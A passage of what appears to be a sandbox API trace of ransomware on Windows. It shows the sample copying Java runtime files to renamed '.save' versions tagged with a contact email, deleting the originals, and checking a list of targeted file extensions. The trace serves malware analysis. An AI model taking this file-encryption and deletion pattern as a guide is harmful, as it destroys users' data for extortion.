dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.970] SetEndOfFile (hFile=0x30c) returned 1 [0077.975] CloseHandle (hObject=0x30c) returned 1 [0077.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.975] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1 [0077.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0077.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0077.976] lstrlenW (lpString=".doc") returned 4 [0077.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.976] lstrlenW (lpString=".docx") returned 5 [0077.976] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0077.976] lstrlenW (lpString=".pdf") returned 4 [0077.976] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.976] lstrlenW (lpString=".xls") returned 4 [0077.976] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.976] lstrlenW (lpString=".xlsx") returned 5 [0077.976] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0077.976] lstrlenW (lpString=".ppt") returned 4 [0077.977] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0077.977] lstrlenW (lpString=".zip") returned 4 [0077.977] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.977] lstrlenW (lpString=".rar") returned 4 [0077.977] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.977] lstrlenW (lpString=".bz2") returned 4 [0077.977] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.977] lstrlenW (lpString=".7z") returned 3 [0077.977] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0077.977] lstrlenW (lpString=".dbf") returned 4 [0077.977] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0077.977] lstrlenW (lpString=".1cd") returned 4 [0077.977] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0077.977] lstrlenW (lpString=".jpg") returned 4 [0077.977] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.696] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.696] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.696] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0078.741] GetLastError () returned 0x0 [0078.741] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x1b640, lpOverlapped=0x0) returned 1 [0078.745] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x1b650, lpOverlapped=0x0) returned 1 [0078.749] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.749] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf2, lpOverlapped=0x0) returned 1 [0078.749] SetEndOfFile (hFile=0x39c) returned 1 [0078.749] CloseHandle (hObject=0x39c) returned 1 [0078.749] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.749] SetEndOfFile (hFile=0x2e8) returned 1 [0078.752] CloseHandle (hObject=0x2e8) returned 1 [0078.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.752] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0078.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0078.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0078.753] lstrlenW (lpString=".doc") returned 4 [0078.753] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0078.753] lstrlenW (lpString=".docx") returned 5 [0078.753] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0078.753] lstrlenW (lpString=".pdf") returned 4 [0078.753] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0078.753] lstrlenW (lpString=".xls") returned 4 [0078.753] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0078.753] lstrlenW (lpString=".xlsx") returned 5 [0078.753] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0078.753] lstrlenW (lpString=".ppt") returned 4 [0078.753] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0078.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0078.753] lstrlenW (lpString=".zip") returned 4 [0078.753] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0078.753] lstrlenW (lpString=".rar") returned 4 [0078.753] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0078.753] lstrlenW (lpString=".bz2") returned 4 [0078.754] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0078.754] lstrlenW (lpString=".7z") returned 3 [0078.754] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0078.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0078.754] lstrlenW (lpString=".dbf") returned 4 [0078.754] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0078.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0078.754] lstrlenW (lpString=".1cd") returned 4 [0078.754] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0078.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0078.754] lstrlenW (lpString=".jpg") returned 4 [0078.754] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0078.756] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.756] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0078.756] GetLastError () returned 0x0 [0078.756] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4040, lpOverlapped=0x0) returned 1 [0078.758] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4050, lpOverlapped=0x0) returned 1 [0078.760] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.760] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1 [0078.760] SetEndOfFile (hFile=0x39c) returned 1 [0078.760] CloseHandle (hObject=0x39c) returned 1 [0078.760] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.760] SetEndOfFile (hFile=0x2e8) returned 1 [0078.761] CloseHandle (hObject=0x2e8) returned 1 [0078.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.762] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0078.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0078.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0078.762] lstrlenW (lpString=".doc") returned 4 [0078.762] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0078.762] lstrlenW (lpString=".docx") returned 5 [0078.762] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0078.762] lstrlenW (lpString=".pdf") returned 4 [0078.762] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0078.762] lstrlenW (lpString=".xls") returned 4 [0078.762] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0078.762] lstrlenW (lpString=".xlsx") returned 5 [0078.762] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0078.762] lstrlenW (lpString=".ppt") returned 4 [0078.762] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0078.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0078.763] lstrlenW (lpString=".zip") returned 4 [0078.763] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0078.763] lstrlenW (lpString=".rar") returned 4 [0078.763] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0078.763] lstrlenW (lpString=".bz2") returned 4 [0078.763] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0078.763] lstrlenW (lpString=".7z") returned 3 [0078.763] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0078.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0078.763] lstrlenW (lpString=".dbf") returned 4 [0078.763] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0078.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0078.763] lstrlenW (lpString=".1cd") returned 4 [0078.763] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0078.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50 [0078.763] lstrlenW (lpString=".jpg") returned 4 [0078.763] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0078.764] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.764] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0078.764] GetLastError () returned 0x0 [0078.764] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4040, lpOverlapped=0x0) returned 1 [0078.766] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4050, lpOverlapped=0x0) returned 1 [0078.767] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.767] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe6, lpOverlapped=0x0) returned 1 [0078.767] SetEndOfFile (hFile=0x39c) returned 1 [0078.768] CloseHandle (hObject=0x39c) returned 1 [0078.768] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.768] SetEndOfFile (hFile=0x2e8) returned 1 [0078.769] CloseHandle (hObject=0x2e8) returned 1 [0078.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.769] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0078.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0078.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0078.769] lstrlenW (lpString=".doc") returned 4 [0078.769] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0078.769] lstrlenW (lpString=".docx") returned 5 [0078.769] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0078.769] lstrlenW (lpString=".pdf") returned 4 [0078.770] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0078.770] lstrlenW (lpString=".xls") returned 4 [0078.770] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0078.770] lstrlenW (lpString=".xlsx") returned 5 [0078.770] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0078.770] lstrlenW (lpString=".ppt") returned 4 [0078.770] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0078.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0078.770] lstrlenW (lpString=".zip") returned 4 [0078.770] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0078.770] lstrlenW (lpString=".rar") returned 4 [0078.770] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0078.770] lstrlenW (lpString=".bz2") returned 4 [0078.770] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0078.770] lstrlenW (lpString=".7z") returned 3 [0078.770] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0078.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0078.770] lstrlenW (lpString=".dbf") returned 4 [0078.770] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0078.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0078.770] lstrlenW (lpString=".1cd") returned 4 [0078.770] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0078.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0078.770] lstrlenW (lpString=".jpg") returned 4 [0078.770] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0078.771] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.771] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0078.772] GetLastError () returned 0x0 [0078.772] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4040, lpOverlapped=0x0) returned 1 [0078.773] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4050, lpOverlapped=0x0) returned 1 [0078.775] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.775] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe6, lpOverlapped=0x0) returned 1 [0078.775] SetEndOfFile (hFile=0x39c) returned 1 [0078.775] CloseHandle (hObject=0x39c) returned 1 [0078.775] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.775] SetEndOfFile (hFile=0x2e8) returned 1 [0078.776] CloseHandle (hObject=0x2e8) returned 1 [0078.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.776] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0078.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0078.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0078.777] lstrlenW (lpString=".doc") returned 4 [0078.777] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0078.777] lstrlenW (lpString=".docx") returned 5 [0078.777] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0078.777] lstrlenW (lpString=".pdf") returned 4 [0078.777] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0078.777] lstrlenW (lpString=".xls") returned 4 [0078.777] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0078.777] lstrlenW (lpString=".xlsx") returned 5 [0078.777] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0078.777] lstrlenW (lpString=".ppt") returned 4 [0078.777] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0078.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0078.777] lstrlenW (lpString=".zip") returned 4 [0078.777] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0078.777] lstrlenW (lpString=".rar") returned 4 [0078.777] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0078.777] lstrlenW (lpString=".bz2") returned 4 [0078.777] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0078.777] lstrlenW (lpString=".7z") returned 3 [0078.777] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0078.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0078.778] lstrlenW (lpString=".dbf") returned 4 [0078.778] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0078.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0078.778] lstrlenW (lpString=".1cd") returned 4 [0078.778] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0078.778] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0078.778] lstrlenW (lpString=".jpg") returned 4 [0078.778] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0078.781] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.781] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.781] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0078.904] GetLastError () returned 0x0 [0078.904] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4040, lpOverlapped=0x0) returned 1 [0078.906] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4050, lpOverlapped=0x0) returned 1 [0078.908] ReadFile (in: hFile=0x39c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.908] WriteFile (in: hFile=0x38c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe4, lpOverlapped=0x0) returned 1 [0078.908] SetEndOfFile (hFile=0x38c) returned 1 [0078.909] CloseHandle (hObject=0x38c) returned 1 [0078.909] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.909] SetEndOfFile (hFile=0x39c) returned 1 [0078.910] CloseHandle (hObject=0x39c) returned 1 [0078.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.911] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0078.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0078.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0078.912] lstrlenW (lpString=".doc") returned 4 [0078.912] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0078.912] lstrlenW (lpString=".docx") returned 5 [0078.912] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0078.912] lstrlenW (lpString=".pdf") returned 4 [0078.912] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0078.912] lstrlenW (lpString=".xls") returned 4 [0078.912] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0078.912] lstrlenW (lpString=".xlsx") returned 5 [0078.912] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0078.912] lstrlenW (lpString=".ppt") returned 4 [0078.912] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0078.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0078.912] lstrlenW (lpString=".zip") returned 4 [0078.912] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0078.912] lstrlenW (lpString=".rar") returned 4 [0078.912] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0078.912] lstrlenW (lpString=".bz2") returned 4 [0078.912] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0078.912] lstrlenW (lpString=".7z") returned 3 [0078.912] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0078.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0078.913] lstrlenW (lpString=".dbf") returned 4 [0078.913] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0078.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0078.913] lstrlenW (lpString=".1cd") returned 4 [0078.913] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0078.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0078.913] lstrlenW (lpString=".jpg") returned 4 [0078.913] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0078.913] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.914] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.914] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program 